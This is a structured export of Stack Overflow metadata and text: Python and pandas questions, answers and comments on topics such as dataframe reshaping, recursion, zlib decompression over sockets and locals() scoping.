has body: you can do something like that. This solution is going to go through all your folder, and for every xlsx file, it is going to create a record with the mean and the max value, and once it is done, it is going to create a dataframe with one line per file, and store it as a csv. # std import glob # 3rd import pandas as pd # Select all the files in your directory directory = r'path/to/your/directory' files = glob.glob(directory + "/*.xlsx") fields = ["Test 1", "Test 2"] records = [] for f in files: # Every file is put in a temp dataframe, and operations are performed temp_df = pd.read_excel(f, skipinitialspace=True, usecols=fields) mean_value = temp_df['Test 1'].mean() max_value = temp_df['Test 2'].max() records.append((mean_value, max_value)) # Finally, we create a dataframe with our records and we store it df = pd.DataFrame.from_records(records, columns=['MEAN', 'MAX']) df.to_csv('output_file.csv', sep=',', index=False)
has comment: http://stackoverflow.com/comment/85986124
type: Answer
answers question: http://stackoverflow.com/q/49490711
has comment: http://stackoverflow.com/comment/85986878
has comment: http://stackoverflow.com/comment/85986611
score: 2
has comment: http://stackoverflow.com/comment/85986415
has comment: http://stackoverflow.com/comment/85986972
has comment: http://stackoverflow.com/comment/85986456

infinite-loop
tags question: http://stackoverflow.com/q/49594253
type: Tag
tag name: infinite-loop

http://stackoverflow.com/comment/86014126
type: QuestionComment
comment on: http://stackoverflow.com/q/49503869
score: 0
has text: @TomdeGeus: Replacing by `plt.show()` doesn't show anything. `figx.show()` shows error reported above. I don't know the exact steps to reproduce but it is showing on my machine.
type: Comment

http://stackoverflow.com/comment/86144283
score: 0
comment on: http://stackoverflow.com/q/49567866
type: Comment
has text: Have you tried to write anything or you just prefer the code from someone else?
type: QuestionComment

http://stackoverflow.com/q/49499082
type: AnsweredQuestion
tagged with: recursion
answer count: 2
score: 1
possible better answer: http://stackoverflow.com/a/49499213
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/49499213
favorite count: 0
type: Question
has title: Python Recursion - Swap words in a sentence via dictionary index, get all permutations
tagged with: python
accepted answer: http://stackoverflow.com/a/49499382
has answer: http://stackoverflow.com/a/49499382
has body: I am trying to create a recursive function which takes a sentence, iterates through each word, compares the words to a dictionary, and replaces the word if they match within the dictionary. In the end, it should return every permutation possible. For the sentence example: "For now it is never to late" should return the following: {"For now it is never to late", "4 now it is never to late", "4 now it is never 2 late", "4 now it is never 2 l8", "4 now it is never to l8", "for now it is never 2 late", "for now it is never 2 l8", "for now it is never to l8"} I currently have the following snippet of code, which works for the first loop through and returns ['4 now it is never to late', '4 now it is never 2 late', '4 now it is never 2 l8'], but I cannot seem to figure out a method for getting the remaining permutations. wordChangeDict = {'for':'4', 'to': '2', 'late': 'l8'} def phrase2Slang(phrase, resultStrings, index): if index &gt; len(phrase)-1: return resultStrings else: word = phrase[index] if word in wordChangeDict: phrase[index] = wordChangeDict[word] resultStrings.append(' '.join(phrase)) return phrase2Slang(phrase, resultStrings, index+1) testPhrase = "for now it is never to late" phraseArray = testPhrase.split() for idx, word in enumerate(phraseArray): modifiedPhrases = [] modifiedPhrases = phrase2Slang(phraseArray, modifiedPhrases, idx) print modifiedPhrases Update (Answer) Below, Arief pointed out that my initial list was mutable, causing the blank results. After fixing this, I was able to use one of my original solutions of a multiple recursion loop (dropping the for loop which led into the recursive calls as well): import copy wordChangeDict = {'for':'4', 'to': '2', 'late': 'l8'} def phrase2Slang(phrase, resultStrings, index): phrase = copy.deepcopy(phrase) if index == -1: return resultStrings else: word = phrase[index] if word in wordChangeDict: phrase2 = copy.deepcopy(phrase) phrase2[index] = wordChangeDict[word] resultStrings.append(' '.join(phrase2)) phr…

http://stackoverflow.com/q/49460426
type: Question
has title: Removing punctuation and creating a dictionary Python
tagged with: python-3.x
score: 0
tagged with: function
accepted answer: http://stackoverflow.com/a/49460471
has answer: http://stackoverflow.com/a/49460911
type: AnsweredQuestion
has body: I'm trying to create a function that removes punctuation and lowercases every letter in a string. Then, it should return all this in the form of a dictionary that counts the word frequency in the string. This is the code I wrote so far: def word_dic(string): string = string.lower() new_string = string.split(' ') result = {} for key in new_string: if key in result: result[key] += 1 else: result[key] = 1 for c in result: "".join([ c if not c.isalpha() else "" for c in result]) return result But this what i'm getting after executing it: {'am': 3, 'god!': 1, 'god.': 1, 'i': 2, 'i?': 1, 'thanks': 1, 'to': 1, 'who': 2} I just need to remove he punctuation at the end of the words.
tagged with: punctuation
has answer: http://stackoverflow.com/a/49460471
has answer: http://stackoverflow.com/a/49460628
tagged with: python
has answer: http://stackoverflow.com/a/49460504
possible better answer: http://stackoverflow.com/a/49460504
tagged with: dictionary
answer count: 4

http://stackoverflow.com/comment/85991878
has text: After decomprssion it works , .dat file directly was giving serializing error . thanks a lot for help
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49492798

http://stackoverflow.com/q/49505366
score: 0
tagged with: random
has comment: http://stackoverflow.com/comment/86014924
upvote count: 1
has comment: http://stackoverflow.com/comment/86015332
answer count: 1
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86014780
tagged with: python-3.x
has title: How can i properly use random.sample in my code?
has comment: http://stackoverflow.com/comment/86015132
tagged with: python
has body: My directory has hundreds of images and text files(.png and .txt). what's special about them is that each image has its own matching txt file, for example im1.png has img1.txt, news_im2.png has news_im2.png etc.. What i want is some way to give it a parameter or percentage, let's say 40 where it randomly copy 40% of the images along with their correspondent texts to a new file, and the most important word here is randomely as if i do the test again i shouldn't get the same results. Ideally i should be able to take 2 kind of parameters(reminder that the first would be the % of each sample) the second being number of samples for example maybe i want my data in 3 different samples randomly not only 2, in this case it should be able to take destination directories path equal to the number of samples i want and spread them accordingly, for example i shouldn't find img_1 in 2 different samples. What i have done so far is simply set up my method to copy them : import glob, os, shutil source_dir ='all_the_content/' dest_dir = 'percentage_only/' files = glob.iglob(os.path.join(source_dir, "*.png")) for file in files: if os.path.isfile(file): shutil.copy2(file, dest_dir) and the start of my code to set the random switching: import os, shutil,random my_pic_dict = {} source_dir ='/home/michel/ubuntu/EAST/data_0.8/' for element in os.listdir(source_dir): if element.endswith('.png'): my_pic_dict[element] = element.replace('.png', '.txt') print(my_pic_dict) print (len(my_pic_dict)) imgs_list = my_pic_dict.keys() print(imgs_list) hwo can i finalize it as i couldn't make random.sample work.
has answer: http://stackoverflow.com/a/49505807
accepted answer: http://stackoverflow.com/a/49505807
type: AnsweredQuestion

http://stackoverflow.com/comment/85963330
comment on: http://stackoverflow.com/q/49477614
has text: I tried with few different 'raw' messages and i always get last 22 character missing or wrong in base64 which is 16bytes, a am guessing that something is wrong with the last 16bytes when python tries to encrypt them
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49471718
upvote count: 1
score: 1
tagged with: compression
answer count: 1
has comment: http://stackoverflow.com/comment/85946153
downvote count: 0
has comment: http://stackoverflow.com/comment/85946232
accepted answer: http://stackoverflow.com/a/49471839
has comment: http://stackoverflow.com/comment/85946244
has comment: http://stackoverflow.com/comment/85946256
has body: I am trying to move data from a server to a client via socket. I try to compress data from the server and send it to the socket, but when I try to decompress in the client I get this error: zlib.error: Error -5 while decompressing data: incomplete or truncated stream I think I know why, but I don't get why it happens. Maybe it's because I try to decompress "Uncompressed" data, because if the client got data it doesn't know if the data is compressed or not and trying to compress it now causes the error. Maybe I'm completely wrong, but I don't know how to fix it, I need your help. Client: gets the data (which is a string representing an image) def room_client(port,ip): roomC = socket.socket() roomC.connect((ip, port)) while True: print 'in while of client server' #recv pict #display #send ack img = "" size = roomC.recv(1024) roomC.sendall(size) while len(img) &lt; int(size): data = roomC.recv(1024) img += data roomC.send("ACK") to_pic = img.split('@')[0] print to_pic scrn = open("monitor_serv.png", "wb") scrn.write(zlib.decompress(to_pic)) scrn.close() Server: sending the image(screenshot) def room_server(port): #sends pictures print 'in room_server ' roomS = socket.socket() roomS.bind(('0.0.0.0',port)) roomS.listen(1) client, addr = roomS.accept() while True: print 'in while of room server' # take picture # send picture # recv ack flag = True img1 = ImageGrab.grab() send = zlib.compress(img1.tobytes()) size = img1.size send = send + "@" + str(size[0]) + "@"+ str(size[1]) + "@0@0" client.sendall(str(len(send))) print "0" f = client.recv(1024) print "A ", f client.sendall(send) g = client.recv(1024) print "C ", g while True: if flag: flag = False img2 = ImageGrab.grab() coordinates = equal(img1, img2) cropped_image = img2.crop(coordinates) else: flag = True img1 = ImageGrab.grab() coordinates = equal(img1, img2) cropped_image = img1.crop(coordinates) if coordinates is not None: size = cropped_image.size send = zlib.compress(cropped_image.tobytes()) try: send = send + "…
has comment: http://stackoverflow.com/comment/85946197
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85946242
has answer: http://stackoverflow.com/a/49471839
has title: Zlib won't decompress python 2.7
has comment: http://stackoverflow.com/comment/85946150
tagged with: python
has comment: http://stackoverflow.com/comment/85946190
has comment: http://stackoverflow.com/comment/85946168
has comment: http://stackoverflow.com/comment/85946270
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85946255

http://stackoverflow.com/comment/86075192
type: AnswerComment
comment on: http://stackoverflow.com/a/49525928
has text: I tried both and both yield the same error -> raise Exception('method call not available under API version {}'.format(self.api_version)) Exception: method call not available under API version v2.0
type: Comment
score: 0

http://stackoverflow.com/a/49538162
has body: I don't know if you want to clean the file by modifying it, or if you want to selectively filter the interests at runtime, but here is how I would do this: First I would get the sorted (and unique) list of all interests: copy all of them in a file, one per line, and run some sort -u FILE &gt; OUTPUT in Bash or else. Then I would regroup the interests (Racing and Race => Race) With these groups, I would create a mapping with a dictionary in Python: mapping = { 'racing': 'Race', 'race': 'Race', 'football': 'Ball Sport', ... } Finally, when reading the file, I would use a function to return the validated interests for each line: def validate_interests(*interests): validated = [] for interest in interests: valid = mapping.get(interest.lower(), None) if valid is not None: validated.append(valid) return validated In [10]: validate_interests('Football', 'Racing') Out[10]: ['Ball Sport', 'Race'] Of course you would need to iterate on the lines and parse them into a list of interests, but I won't go too much into details.
answers question: http://stackoverflow.com/q/49537687
upvote count: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86083903
downvote count: 0
score: 3
has comment: http://stackoverflow.com/comment/86848032
has comment: http://stackoverflow.com/comment/86084003
type: Answer
accepted answer of: http://stackoverflow.com/q/49537687
has comment: http://stackoverflow.com/comment/86095487

http://stackoverflow.com/q/49578490
has comment: http://stackoverflow.com/comment/86164673
has comment: http://stackoverflow.com/comment/86164674
score: 0
has comment: http://stackoverflow.com/comment/86164594
answer count: 0
has comment: http://stackoverflow.com/comment/86164591
has comment: http://stackoverflow.com/comment/86164842
has title: Python running bash script includes single quote in escaped character
has comment: http://stackoverflow.com/comment/86164651
type: Question
has comment: http://stackoverflow.com/comment/86164976
has body: I'm passing a parameter into a shell script and executing the script from python. The shell command has escaped characters \( \) but when I run from python its printed as string with single quotes: import os os.system('./myscript.sh 12ed34 &gt; output.json') and --myscript.sh-- param=$1 api=someURL/api/data/v1.0/location echo \(${param}\) curl -X GET ${api}\(${param}\) which should run curl -X GET someURL/api/data/v1.0/location\(12ed34\) but instead single quotes have been inserted: 'curl -X GET someURL/api/data/v1.0/location\(12ed34\)' How to fix this such that it doesnt include the single quotes? When I included echo \(${param}\) in the script, I get '\(12ed34\)'
has comment: http://stackoverflow.com/comment/86164616
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86164936
tagged with: python

http://stackoverflow.com/q/49559493
tagged with: python
tagged with: comparison
type: AnsweredQuestion
tagged with: list
score: 0
answer count: 2
tagged with: function
has answer: http://stackoverflow.com/a/49559679
has body: Make a function that indicates if each word def in the following sentence is in quotation marks. " hello world def " def " hi def" First what I did is make a list with the positions of the word def and a list with the positions of the quotation marks. list_def=[14,21,31] list_quotes=[0,19,25,34] My idea is make a function that compare if the position of the word def is betwen in a pair of quotation marks positions. I tried it but I am having some problems. Can you help me with that please? for x in list_def: for y in list_quotes: if y&lt;x: min = y elif i&gt;x: max = y if min&lt;x&lt;max: print("Under quototation marks") else: print("Not under quotation marks")
accepted answer: http://stackoverflow.com/a/49559541
has title: Python: compare lists.Make a function that indicates if the word def is in quotation marks
type: Question
possible better answer: http://stackoverflow.com/a/49559679
has answer: http://stackoverflow.com/a/49559541

http://stackoverflow.com/a/49589699
score: 0
accepted answer of: http://stackoverflow.com/q/49589377
type: Answer
answers question: http://stackoverflow.com/q/49589377
has comment: http://stackoverflow.com/comment/86187422
has body: Install Python-docx: pip intall python-docx and then use below code: from docx import Document h='Hello everyone Im new to this world' document = Document() p = document.add_paragraph('') for item in h.split(): if len(item) &gt;= 5: p.add_run(" "+item+" ").underline = True else: p.add_run(" "+item+" ") document.save("test.docx")
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86187401

http://stackoverflow.com/q/49472108
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85946878
has title: TypeError: '>' not supported between instances of 'list' and 'int'
answer count: 3
tagged with: if-statement
has comment: http://stackoverflow.com/comment/85946869
tagged with: math
has comment: http://stackoverflow.com/comment/85946847
has comment: http://stackoverflow.com/comment/85946845
tagged with: python
possible better answer: http://stackoverflow.com/a/49472185
upvote count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49472185
has body: I'm working on a library for calculating certain values in a game. I have this code: million = [1000000, "M"] billion = [million * 1000, "B"] trillion = [billion * 1000, "T"] quadrillion = [trillion * 1000, "Qd"] quintillion = [quadrillion * 1000, "Qn"] sx = [quintillion * 1000, "Sx"] septillion = [sx * 1000, "Sp"] suffixes = [million, billion, trillion, quadrillion, quintillion, sx, septillion] def getSetupResult(orevalue, furnacemultiplier, *upgrades, **kwargs): for i in upgrades: orevalue *= i orevalue *= furnacemultiplier for suffix in suffixes: if orevalue &gt; suffix[0] - 1 and orevalue &lt; suffix[0] * 1000: print("$"+str(orevalue)+suffix[1]) getSetupResult(quintillion,700,5,4,10,100) When I try to run it, it raises this error: Traceback (most recent call last): File "C:/Users/???/Desktop/MinersHavenCalculator.py", line 19, in &lt;module&gt; getSetupResult(quintillion,700,5,4,10,100) File "C:/Users/???/Desktop/MinersHavenCalculator.py", line 16, in getSetupResult if orevalue &gt; suffix[0] - 1 and orevalue &lt; suffix[0] * 1000: TypeError: '&gt;' not supported between instances of 'list' and 'int' What's causing this error?
accepted answer: http://stackoverflow.com/a/49472183
score: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/85946889
has answer: http://stackoverflow.com/a/49472183
tagged with: calculator
has comment: http://stackoverflow.com/comment/85946908
has answer: http://stackoverflow.com/a/49472188
favorite count: 0
has comment: http://stackoverflow.com/comment/85946891
type: Question

http://stackoverflow.com/comment/86180146
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49586085
type: AnswerComment
has text: Thanks a lot! That did the trick, it was the regex I was looking for.

http://stackoverflow.com/comment/86053208
type: Comment
score: 0
comment on: http://stackoverflow.com/a/49523384
type: AnswerComment
has text: @LarryLustig Read the OP's comments on the question about him suspecting floating-point comparison issues are his problem, I think that's a pretty solid reason to believe that he's expecting his code to do what it looks like it's supposed to do.

http://stackoverflow.com/q/49524245
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/86089133
has title: Selecting rows by last 3 characters in a column with strings
score: 2
upvote count: 2
type: AnsweredQuestion
answer count: 2
has body: I have this dataframe name year ... 0 Carlos - xyz 2019 1 Marcos - yws 2031 3 Fran - xxz 2431 4 Matt - yre 1985 ... I want to create a new column, called type. If the name of the person ends with "xyz" or "xxz" I want type to be "big" So, it should look like this: name year type 0 Carlos - xyz 2019 big 1 Marcos - yws 2031 3 Fran - xxz 2431 big 4 Matt - yre 1985 ... Any suggestions?
downvote count: 0
tagged with: pandas
possible better answer: http://stackoverflow.com/a/49524300
has answer: http://stackoverflow.com/a/49524300
has answer: http://stackoverflow.com/a/49524257
accepted answer: http://stackoverflow.com/a/49524257
favorite count: 0

http://stackoverflow.com/comment/86085632
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49538854
score: 0
has text: @SvenMarnach That being said, understanding what CPython does under the covers (and has done since somewhere around 1.something when there was no real reference documentation yet) is definitely helpful, especially to someone coming at this from a Lisp intuition, so I added a section about that.

http://stackoverflow.com/comment/85928636
type: QuestionComment
comment on: http://stackoverflow.com/q/49462869
score: 0
has text: @Bart Kiers that is *not* true. Code Review is not intended for help with code obfuscation / golfing: "... asking about code-golfing, obfuscation, or similar is off-topic." ([source](https://codereview.stackexchange.com/help/on-topic))
type: Comment

http://stackoverflow.com/comment/87028879
comment on: http://stackoverflow.com/a/49560144
score: 0
type: AnswerComment
type: Comment
has text: I tried the first option, nothing appears to happen. There is no evaluation taking place, nor is the entry `$(PythonPath)` visible in the `Solution Explorer`. I also tried option 3, which appealed to me most. After fixing the path in the pth file (oops), this solution worked.

http://stackoverflow.com/comment/85962277
has text: If there are form errors, the form will not save. Prove to yourself there are no errors by showing all of them. It means that isn't an issue and you can then look into the next potential cause
type: Comment
comment on: http://stackoverflow.com/q/49479063
score: 0
type: QuestionComment

http://stackoverflow.com/comment/86030768
has text: Ok. so I think I know the root cause. When I enable wifi on my GoPro, it will only showup on my computer WIfi networks if I hit Pair on the GoPro. The pairing will keep waiting for me to enter some code on the app side for 3 minutes, which is not the case because I am using the laptop. So I tried connecting within the 3 minutes and the error doesn't show anymore, however it times out after 3 minutes. So I guess the question is, how do I connect my GoPro to my laptop over wifi without using the pairing option on the camera ?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49492055
type: Comment

http://stackoverflow.com/comment/86097252
has text: The Stern-Brocot tree is infinite. Are you trying to do an infinite amount of computation?
score: 0
comment on: http://stackoverflow.com/q/49544755
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86141094
has text: [mcve], please. Is this inside a class statement? There's clearly some context you're not showing us; your error message didn't come from the exact code you posted.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49566391
score: 2

http://stackoverflow.com/comment/86083967
type: AnswerComment
has text: Yes, that value will be fixed (it will be 10)
score: 0
comment on: http://stackoverflow.com/a/49537098
type: Comment

http://stackoverflow.com/q/49586986
type: AnsweredQuestion
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/49587098
possible better answer: http://stackoverflow.com/a/49587098
favorite count: 0
type: Question
upvote count: 0
has body: So, I currently have this code, potions ={"small_health":15, "small_instant_exp":250} selection = input("Pick one") How would I make it so that selection has the same values as the key that the user picked if they have the same name?
answer count: 2
downvote count: 2
has answer: http://stackoverflow.com/a/49587008
score: -2
accepted answer: http://stackoverflow.com/a/49587008
has title: Using input to find a key in a dictionary and assign the values to that variable
has comment: http://stackoverflow.com/comment/86181863
has comment: http://stackoverflow.com/comment/86181716

http://stackoverflow.com/q/49542348
duplicate of: http://stackoverflow.com/q/13117020
accepted answer: http://stackoverflow.com/a/49542378
downvote count: 0
possible better answer: http://stackoverflow.com/a/49542484
has answer: http://stackoverflow.com/a/49542378
has body: I am updating a project from python 2.7 to python 3.6. I have a list comprehension that looks up variables from locals which worked in python 2.7. It only works in python 3.6 when I switch to using globals. Below is a toy example to illustrate the issue. The relevant code is: (A,B,C) = (1,2,3) myvars = ['A','B','C'] If I execute the following code: [locals().get(var) for var in myvars] the return value in python 3.6 is: [None, None, None] However, the return value in python 2.7 is: [1, 2, 3] If I execute the following code using globals: [globals().get(var) for var in myvars] then I get the same result in python 2.7 and 3.6: [1, 2, 3] Can anyone explain why the code using locals() no longer works in python 3.6?
upvote count: 10
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/22485399
duplicate of: http://stackoverflow.com/q/46862768
linked to: http://stackoverflow.com/q/13117020
tagged with: python
score: 10
has answer: http://stackoverflow.com/a/49542484
type: AnsweredQuestion
has title: Using a list comprehension to look up variables works with globals() but not locals(). Why?
answer count: 2

http://stackoverflow.com/q/49449259
has title: How to add a column which contains info aggregated over rows?
tagged with: python
has body: I have the following data frame: # Create a dataframe raw_data = {'trial_num': ['1', '1', '2', '2', '3', '3'], 'area': ['first', 'second', 'first', 'second','first','second'], 'counts': [10, 25, 36, 2, 70, 10]} df = pd.DataFrame(raw_data, columns = ['trial_num', 'area', 'counts']) trial_num area count 0 1 first 10 1 1 second 25 2 2 first 36 3 2 second 2 4 3 first 70 5 3 second 10 I want to add a new column 'proportion' that expresses each count as a proportion of total per 'area'. Like this: trial_num area count total_count proportion 0 1 first 10 35 0.2857142857142857 1 1 second 25 35 0.7142857142857143 2 2 first 36 38 0.9473684210526315 3 2 second 2 38 0.05263157894736842 4 3 first 70 80 0.875 5 3 second 10 80 0.125 I have only got this far: df.counts.groupby(df.trial_num).sum() trial_num 1 35 2 38 3 80 Is there an efficient way to do this without breaking the dataframe? Please help.
tagged with: pandas
score: 1
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49449288
type: UnansweredQuestion

http://stackoverflow.com/q/49499276
linked to: http://stackoverflow.com/q/291978
has comment: http://stackoverflow.com/comment/86002654
has comment: http://stackoverflow.com/comment/86002695
tagged with: python
score: -1
has body: Getting a NameError of "add" not found: import math import statistics def main(): numbers = str(input("Enter numbers separated by spaces: ")).split() nums = list(map(int, numbers)) print ("Original List", nums) print ("Sum of list: ", add) print ("List squared", squared) def sumEach(nums): squared = [] for i in range (1, 6): squared.append(i ** 2) return squared def sumList(nums): add = sum(nums) return add main()
has answer: http://stackoverflow.com/a/49499337
type: Question
has title: TypeError: sumEach() missing 1 required positional argument: 'nums'
has comment: http://stackoverflow.com/comment/86002651
type: UnansweredQuestion
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86002641
downvote count: 1
favorite count: 0

http://stackoverflow.com/a/49590251
has body: I think what you're looking for is parse_qs from urllib.parse. from urllib.parse import urlparse, parse_qs #import stuff #parse the url url_obj = urlparse('https://kite.trade/?request_token=p87tOTSXRSp4O20TGr870n2JiXFKISIh&amp;action=login&amp;status=success') #get a dictionary from the query q_dict = parse_qs(url_obj.query) #now get query args by key name. print(q_dict["request_token"]) print(q_dict["status"]) Here is a link to the documentation for parse_qs.
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/49589578
type: Answer

http://stackoverflow.com/q/49536307
has comment: http://stackoverflow.com/comment/86079162
has answer: http://stackoverflow.com/a/49537458
upvote count: 3
type: UnansweredQuestion
has body: I am trying to create different python file where the code is given below. While calling the method, I pass the mydata as data frame with these columns ['wage', 'educ', 'exper', 'tenure']. import pandas as pd import numpy as np from prettytable import PrettyTable as pt def LinearRegressionOLS(mydata,target_column): if(not isinstance(mydata,pd.DataFrame)): raise TypeError("Data must be of type Data Frame") if(not isinstance(target_column,str)): raise TypeError("target_column must be String") if(target_column not in mydata.columns): raise KeyError("target_column doesn't exist in Data Frame") data=mydata.copy() data["one"]=np.ones(data.count()[target_column]) column_list=["one"] for i in data.columns: column_list.append(i) Y=data[target_column].as_matrix() data.drop(target_column,inplace=True,axis=1) X=data[column_list].as_matrix() del data beta = np.matmul(np.matmul(np.linalg.inv(np.matmul(X.T,X)),X.T),Y) predY = np.matmul(X,beta) total = np.matmul((Y-np.mean(Y)).T,(Y-np.mean(Y))) residual = np.matmul((Y-predY).T,(Y-predY)) sigma = np.matmul((Y-predY).T,(Y-predY))/(X.shape[0]-X.shape[1]) omega = np.square(sigma)*np.linalg.inv(np.matmul(X.T,X)) SE = np.sqrt(np.diag(omega)) tstat = beta/SE Rsq = 1-(residual/total) final = pt() final.add_column(" ",column_list) final.add_column("Coefficients",beta) final.add_column("Standard Error",SE) final.add_column("t-stat",tstat) print(final) print("Residual: ",residual) print("Total: ",total) print("Standard Error: ",sigma) print("R Square: ",Rsq) After running the above code, by calling the function given below, &gt;&gt;&gt; c ['wage', 'educ', 'exper', 'tenure'] &gt;&gt;&gt; import LR_OLS as inf &gt;&gt;&gt; inf.LinearRegressionOLS(file[c],"wage") , i get some error like this Traceback (most recent call last): File "&lt;pyshell#182&gt;", line 1, in &lt;module&gt; inf.LinearRegressionOLS(file[c],"wage") File "E:\python\LR_OLS.py", line 29, in LinearRegressionOLS File "C:\Program Files\Python35\lib\site-packages\pandas\core\frame.py…
answer count: 1
has title: Python gives KeyError while the key is passed
has comment: http://stackoverflow.com/comment/86079660
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86080037
has comment: http://stackoverflow.com/comment/86079495
tagged with: pandas
has comment: http://stackoverflow.com/comment/86079273
has comment: http://stackoverflow.com/comment/86081028
has comment: http://stackoverflow.com/comment/86079846
tagged with: python
has comment: http://stackoverflow.com/comment/86081524
has comment: http://stackoverflow.com/comment/86079953
tagged with: keyerror
has comment: http://stackoverflow.com/comment/86079855
score: 2
has comment: http://stackoverflow.com/comment/86080010

http://stackoverflow.com/q/49479902
upvote count: 7
answer count: 1
favorite count: 0
duplicate of: http://stackoverflow.com/q/47152691
type: Question
tagged with: pandas
accepted answer: http://stackoverflow.com/a/49479968
score: 5
tagged with: dataframe
has answer: http://stackoverflow.com/a/49479968
has title: Reshaping Long Data to Wide in Python (Pandas)
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/47152691
has body: I'm trying to reshape my long data to a wide format. The data currently looks like: OBS . date . TICKER . RET 1 . 20050131 . AAPL . 0.02 2 . 20050231 . AAPL . 0.01 3 . 20050131 . GOOG . 0.05 4 . 20050231 . GOOG . 0.03 And I would like to get the data like: TICKER . 20050131 . 20050231 AAPL . 0.02 . 0.01 GOOG . 0.05 . 0.03 The data is stored in a pandas dataframe. I tried stacking the data, but I don't think I'm doing it right. Thanks for the help!
downvote count: 2
tagged with: reshape
tagged with: python

http://stackoverflow.com/a/49486797
has comment: http://stackoverflow.com/comment/85984049
has comment: http://stackoverflow.com/comment/85997030
score: 0
accepted answer of: http://stackoverflow.com/q/49486699
has body: If I were you, I would completely uninstall python and go ahead as follows: Install anaconda with pythn 3.6 Create a virtual environment with python 2.7 conda create -n python27 python=2.7 anaconda If I want jupyter notebook with python 3.6, I would just run jupyter notebook For jupyter notebook with python 2.7 i will activate python27 and then jupyter notebook. This will lauch notebook with python 2.7
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49486699
has comment: http://stackoverflow.com/comment/85984379
type: Answer

http://stackoverflow.com/a/49540720
score: 0
has body: I can think of two approaches you could take. The first approach is to use print statements in your favourite programming language to print out the required text. And, of course, wrap some of those print statements in for-loops to iterate over the list of (name, message) tuples. This approach is straightforward and does not require use of any third-party code-generation tools. The second approach is to use a template engine, such as Apache Velocity (for Java).
type: Answer
answers question: http://stackoverflow.com/q/49452341

http://stackoverflow.com/a/49565936
type: Answer
upvote count: 1
has body: This is one way. lst = ['16. Michlík', '4. and 65. Bichakhchyan', '15. Pavol'] res = sorted(lst, key=lambda x: int(x.split('.')[0])) # ['4. and 65. Bichakhchyan', '15. Pavol', '16. Michlík']
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/49565912

http://stackoverflow.com/comment/85959148
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49478177
has text: Quick question, could you please explain to me what "que = operators[ops](randNum1, randNum2)" is for? I don't quit get it.
type: AnswerComment

http://stackoverflow.com/comment/86147530
type: AnswerComment
comment on: http://stackoverflow.com/a/49569043
has text: yes that is what I was looking for thank you so much I was having so much trouble with it you have my thanks
type: Comment
score: 0

http://stackoverflow.com/a/49618805
type: Answer
has body: Try setting the max_force of the motor joint. Without it the motor joint can use infinite power. For example like this: motor_joint.max_force = 100000000 Also note that the group setting on the two shapes is wrong. shape2.group = LEG_GROUP does not do anything. In previous versions (&lt;5.0) groups worked like this, but now you should use the ShapeFilter instead: shape1.filter = pymunk.ShapeFilter(group=LEG_GROUP)
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49595170
upvote count: 2

http://stackoverflow.com/q/49442096
tagged with: http://stackoverflow.com/tag/r
answer count: 0
type: UnansweredQuestion
score: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has title: How to suppress warning in rpy2
tagged with: rpy2
tagged with: python
has body: I am using following code to load R dataset in python: from rpy2.robjects import r, pandas2ri # MANY WARNINGS COME AT THIS STEP. pandas2ri.ri2py(r['iris']) # this works ok. The code works all right but I get lot of warnings in following form as first statement is executed: /usr/lib/python3/dist-packages/rpy2/rinterface/__init__.py:186: RRuntimeWarning: Loading required package: survival warnings.warn(x, RRuntimeWarning) They seem to be due to loading of my .Rprofile file (since survival package is not my code here). How can I suppress these warnings either directly or by preventing loading of .Rprofile file? Thanks for your help.

http://stackoverflow.com/q/49520830
favorite count: 0
has answer: http://stackoverflow.com/a/52835995
type: Question
tagged with: apache-spark-sql
type: UnansweredQuestion
tagged with: pyspark
tagged with: python
score: 12
upvote count: 12
has title: Pyspark Dataframe: Get previous row that meets a condition
downvote count: 0
has body: For every row in a PySpark DataFrame I am trying to get a value from the first preceding row that satisfied a certain condition: That is if my dataframe looks like this: X | Flag 1 | 1 2 | 0 3 | 0 4 | 0 5 | 1 6 | 0 7 | 0 8 | 0 9 | 1 10 | 0 I want output that looks like this: X | Lag_X | Flag 1 | NULL | 1 2 | 1 | 0 3 | 1 | 0 4 | 1 | 0 5 | 1 | 1 6 | 5 | 0 7 | 5 | 0 8 | 5 | 0 9 | 5 | 1 10 | 9 | 0 I thought I could do this with lag function and a WindowSpec, unfortunately WindowSpec doesnt support .filter or .when, so this does not work: conditional_window = Window().orderBy(X).filter(df[Flag] == 1) df = df.withColumn('lag_x', f.lag(df[x],1).over(conditional_window) It seems like this should be simple, but I have been racking my brain trying to find a solution so any help with this would be greatly appreciated
answer count: 1

http://stackoverflow.com/comment/86194485
type: AnswerComment
has text: Pygame shouldn't have any problems rendering that. I've looked at your code but your using some unconventional coding techniques that I have hard time reading right now. However, I don't think you should use 40 threads for your example though. I think it could case enough overhead for your program to run slow. I would avoid threads entirely.
comment on: http://stackoverflow.com/a/49593212
score: 0
type: Comment

http://stackoverflow.com/comment/86006113
score: 2
comment on: http://stackoverflow.com/q/49501026
type: Comment
type: QuestionComment
